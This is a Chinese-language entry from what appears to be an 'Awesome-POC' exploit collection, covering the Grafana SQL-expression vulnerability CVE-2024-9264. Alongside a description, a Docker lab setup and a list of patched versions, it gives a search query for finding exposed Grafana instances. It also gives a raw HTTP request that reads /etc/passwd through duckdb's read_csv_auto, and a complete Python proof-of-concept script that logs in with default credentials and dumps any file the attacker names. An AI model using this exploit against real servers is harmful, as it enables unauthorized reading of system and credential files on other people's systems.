Awesome-POC/Web应用漏洞/Grafana SQL 表达式远程代码执行漏洞 CVE-2024-9264.md
2024-11-06 14:10:36 +08:00

263 lines
7.0 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Grafana SQL 表达式远程代码执行漏洞 CVE-2024-9264
## 漏洞描述
Grafana 的 SQL 表达式实验特性功能允许用户输入的 `duckdb` 查询。这些查询在传递给 `duckdb` 之前未经过充分过滤,从而导致命令注入和本地文件包含漏洞。任何具有 VIEWER 或更高权限的用户都能够执行此攻击。
注意,`duckdb` 二进制文件必须存在于 Grafana 的 `$PATH` 中,此攻击才能成功;默认情况下,此二进制文件未安装在 Grafana 发行版中。
参考链接:
- https://grafana.com/security/security-advisories/cve-2024-9264/
- https://zekosec.com/blog/file-read-grafana-cve-2024-9264/
## 漏洞影响
```
Grafana 11.x.x
```
## 网络测绘
```
app="Grafana_Labs-公司产品"
```
## 环境搭建
我们使用 Grafana 11.0.0 构建环境,安装  `duckdb` 二进制文件并将其添加到 Grafana 的 `$PATH` 中。下载 [duckdb_cli-linux-amd64.zip](https://github.com/duckdb/duckdb/releases/download/v0.8.1/duckdb_cli-linux-amd64.zip),与 Dockerfile、docker-compose.yml 放置在同一目录。
Dockerfile
```
FROM grafana/grafana:11.0.0-ubuntu
USER root
# Install DuckDB
COPY duckdb_cli-linux-amd64.zip /tmp/
RUN apt-get update && apt-get install -y && apt-get install unzip -y
&& unzip /tmp/duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
&& chmod +x /usr/local/bin/duckdb \
&& rm /tmp/duckdb_cli-linux-amd64.zip
# Add DuckDB to the PATH
ENV PATH="/usr/local/bin:${PATH}"
```
docker-compose.yml
```
services:
mysql:
image: mysql:latest
restart: always
environment:
- MYSQL_ROOT_PASSWORD=rootpassword
- MYSQL_DATABASE=grafanadb
- MYSQL_USER=grafana
- MYSQL_PASSWORD=grafanapassword
volumes:
- ./mysql-data:/var/lib/mysql
ports:
- "3306:3306"
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
interval: 10s
timeout: 5s
retries: 3
grafana:
build: .
ports:
- "3000:3000"
environment:
- GF_SECURITY_ADMIN_PASSWORD=AwesomePoc123!
- GF_DATABASE_TYPE=mysql
- GF_DATABASE_HOST=mysql:3306
- GF_DATABASE_USER=grafana
- GF_DATABASE_PASSWORD=grafanapassword
- GF_DATABASE_NAME=grafanadb
volumes:
- grafana-storage:/var/lib/grafana
- ./grafana.ini:/etc/grafana/grafana.ini
depends_on:
mysql:
condition: service_healthy
volumes:
grafana-storage:
mysql-storage:
```
当前目录执行如下命令,启动一个 Grafana 11.0.0 环境:
```
docker build -t grafana:11.0.0 .
docker-compose up -d
```
环境启动后,访问 `http://your-ip:3000` 即可查看到管理后台。由于配置了密码,需要使用 `admin/AwesomePoc123!` 登录管理后台。
![](images/Grafana%20SQL%20表达式远程代码执行漏洞%20CVE-2024-9264/image-20241105153155139.png)
## 漏洞复现
发送如下 POST 请求,将数据源类型修改为 `sql`。利用 `read_csv_auto` 从目标系统读取任意文件,例如,`/etc/passwd`
```
POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
Host: your-ip:3000
Content-Type: application/json
Cookie: grafana_session=23e897e4377fbd8c0386eb7d7d6c4664; grafana_session_expiry=1730791660
Content-Length: 368
{
"from": "1696154400000",
"to": "1696345200000",
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__"
},
"expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
"hide": false,
"refId": "B",
"type": "sql",
"window": ""
}
]
}
```
![](images/Grafana%20SQL%20表达式远程代码执行漏洞%20CVE-2024-9264/image-20241105151930751.png)
## 漏洞 POC
```python
#!/usr/bin/env python3
"""
Grafana File Read PoC (CVE-2024-9264)
Author: z3k0sec // www.zekosec.com
"""
import requests
import json
import sys
import argparse
class Console:
def log(self, msg):
print(msg, file=sys.stderr)
console = Console()
def msg_success(msg):
console.log(f"[SUCCESS] {msg}")
def msg_failure(msg):
console.log(f"[FAILURE] {msg}")
def failure(msg):
msg_failure(msg)
sys.exit(1)
def authenticate(s, url, u, p):
res = s.post(f"{url}/login", json={"password": p, "user": u})
if res.json().get("message") == "Logged in":
msg_success(f"Logged in as {u}:{p}")
else:
failure(f"Failed to log in as {u}:{p}")
def run_query(s, url, query):
query_url = f"{url}/api/ds/query?ds_type=__expr__&expression=true&requestId=1"
query_payload = {
"from": "1696154400000",
"to": "1696345200000",
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__"
},
"expression": query,
"hide": False,
"refId": "B",
"type": "sql",
"window": ""
}
]
}
res = s.post(query_url, json=query_payload)
data = res.json()
# Handle unexpected response
if "message" in data:
msg_failure("Unexpected response:")
msg_failure(json.dumps(data, indent=4))
return None
# Extract results
frames = data.get("results", {}).get("B", {}).get("frames", [])
if frames:
values = [
row
for frame in frames
for row in frame["data"]["values"]
]
if values:
msg_success("Successfully ran DuckDB query:")
return values
failure("No valid results found.")
def decode_output(values):
return [":".join(str(i) for i in row if i is not None) for row in values]
def main(url, user="admin", password="admin", file=None):
s = requests.Session()
authenticate(s, url, user, password)
file = file or "/etc/passwd"
escaped_filename = requests.utils.quote(file)
query = f"SELECT * FROM read_csv_auto('{escaped_filename}');"
content = run_query(s, url, query)
if content:
msg_success(f"Retrieved file {file}:")
for line in decode_output(content):
print(line)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Arbitrary File Read in Grafana via SQL Expression (CVE-2024-9264).")
parser.add_argument("--url", help="URL of the Grafana instance to exploit")
parser.add_argument("--user", default="admin", help="Username to log in as, defaults to 'admin'")
parser.add_argument("--password", default="admin", help="Password used to log in, defaults to 'admin'")
parser.add_argument("--file", help="File to read on the server, defaults to '/etc/passwd'")
args = parser.parse_args()
main(args.url, args.user, args.password, args.file)
```
## 漏洞修复
该漏洞最早出现在 Grafana 11.0.0 版本现已在以下版本OSS 和 Enterprise 版本)中修复:
```
11.0.5+security-01
11.1.6+security-01
11.2.1+security-01
11.0.6+security-01
11.1.7+security-01
11.2.2+security-01
```